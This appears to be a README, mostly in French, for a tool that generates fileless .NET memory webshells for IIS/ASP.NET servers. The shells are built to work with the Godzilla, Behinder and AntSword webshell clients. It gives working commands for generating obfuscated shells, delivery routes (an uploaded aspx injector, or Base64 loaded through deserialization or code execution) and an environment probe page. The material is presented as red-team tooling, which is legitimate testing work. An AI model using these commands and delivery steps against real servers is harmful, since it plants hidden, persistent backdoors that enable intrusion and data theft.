
Génère des payloads .NET en mémoire paramétrés (VPP, route MVC, HttpListener) compatibles avec les clients Godzilla, Behinder et AntSword pour les tests de red team.
Générateur paramétré de memory shell .NET | Red team / tests de sécurité | équivalent JMG pour .NET
+-----------------------------------------------------+
| nmg.exe (CLI) |
+------------------------+----------------------------+
| generate (payload) | probe (env detection) |
+------------------------+----------------------------+
| Protocol Layer |
| +----------+ +----------+ +----------+ |
| | Godzilla | | Behinder | | AntSword | |
| | AES-128 | | AES-128 | | Base64 | |
| +----------+ +----------+ +----------+ |
+------------------------------------------------------+
| Template Layer |
| +----------+ +----------+ +--------------+ |
| | VPP | | Route | | HttpListener | |
| | IIS hook | |MVC Route | | Standalone | |
| +----------+ +----------+ +--------------+ |
+------------------------------------------------------+
| Compilation Engine |
| Roslyn -> DLL (net40/net472) |
| deterministic / XOR obfuscated / randomized |
+------------------------------------------------------+
| Output Layer |
| aspx injector / base64 / dll |
+------------------------------------------------------+
NMG génère des payloads de memory shell .NET paramétrés qui s'injectent dans les applications IIS/ASP.NET sans laisser de fichiers sur le disque. Après l'injection, vous vous connectez avec des gestionnaires de webshell existants (Godzilla / Behinder / AntSword) - NMG ne fait que rendre le côté serveur fonctionnel.
Voyez-le comme : paramètres d'entrée -> payload compilé -> injection -> connexion avec le client
| Type | Cible | .NET Framework | Point de déclenchement |
|---|---|---|---|
vpp | IIS/ASP.NET | 2.0+ | VirtualPathProvider.GetCacheKey |
route | MVC/WebAPI | 3.5+ | RouteBase.GetRouteData |
httplistener | Standalone/SYSTEM | 2.0+ | HttpListener (indépendant d'IIS) |
| Protocole | Client | Chiffrement | Vérifié |
|---|---|---|---|
godzilla | Godzilla 4.x | AES-128 (key=MD5(pass+key)[0:16]) | ✅ De bout en bout |
behinder | Behinder 4.x | AES-128 (key=MD5(pass)[0:16] octets bruts) | ✅ De bout en bout |
antsword | AntSword | Base64 | ✅ De bout en bout |
| Format | Cas d'utilisation |
|---|---|
aspx | Téléverser dans un répertoire accessible en écriture, accéder une fois pour injecter |
b64 | Pour la livraison par RCE via désérialisation/injection d'expression |
dll | DLL brute pour des loaders personnalisés |
| Commande | Objectif |
|---|---|
generate | Générer un payload de memory shell |
probe | Générer un aspx de détection d'environnement (rapporte CLR/trust/MVC/VPP) |
version | Afficher la version |
help | Afficher l'utilisation |
Interface web intégrée avec le thème Inset Dark (minimalisme de style Linear) :
cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901
# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42
# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472
# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"
# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass
# Generate environment probe page
nmg probe -o probe.aspx
# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64
Méthode 1 — injecteur ASPX :
.aspx généré dans n'importe quel répertoire accessible en écriture sur la cibleAssembly.Load + l'enregistrement VPP).aspx/.ashx/.asmx existant sur le siteMéthode 2 — Base64 (livraison RCE) : Exécutez à n'importe quel point d'exécution de code :
Assembly.Load(Convert.FromBase64String("<payload>"))
Téléversez le fichier probe.aspx généré et accédez-y une fois. Il renvoie un JSON avec :
{
"clr": "4.0.30319.42000",
"trustLevel": "Full",
"mvc": false,
"vpp": "Net.Net.Loader.PathHandler74",
"appPool": "NmgLab"
}
Utilisez ceci pour déterminer quel type de shell mémoire et quel protocole utiliser.
ASP.xxx_aspx+ClassNamedotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/
nmg/
├── src/
│ ├── Program.cs # CLI entry point
│ ├── GenerateOptions.cs # generate pipeline (protocol × type × format)
│ ├── ProbeCommand.cs # probe subcommand
│ ├── Shells/
│ │ ├── GodzillaCSharp.cs # Godzilla protocol (AES-128)
│ │ ├── BehinderNet.cs # Behinder protocol (AES-128 raw bytes)
│ │ └── AntSwordNet.cs # AntSword protocol (Base64)
│ ├── Templates/
│ │ ├── VppTemplate.cs # VirtualPathProvider registrar
│ │ ├── RouteTemplate.cs # RouteBase registrar
│ │ ├── HttpListenerTemplate.cs
│ │ └── ProbeTemplate.cs # Environment probe page
│ ├── Compiler/
│ │ └── RoslynCompiler.cs # Multi-target deterministic Roslyn
│ ├── Randomizer/
│ │ └── SeedRandom.cs # Deterministic randomization
│ ├── Formats/
│ │ ├── AspxInjector.cs # Self-contained aspx injector page
│ │ └── Base64Output.cs # Raw Base64 output
│ └── Api/
│ ├── Program.cs # ASP.NET Core minimal API
│ └── wwwroot/index.html # Web UI (Inset Dark)
└── tests/ # 35 unit tests
MIT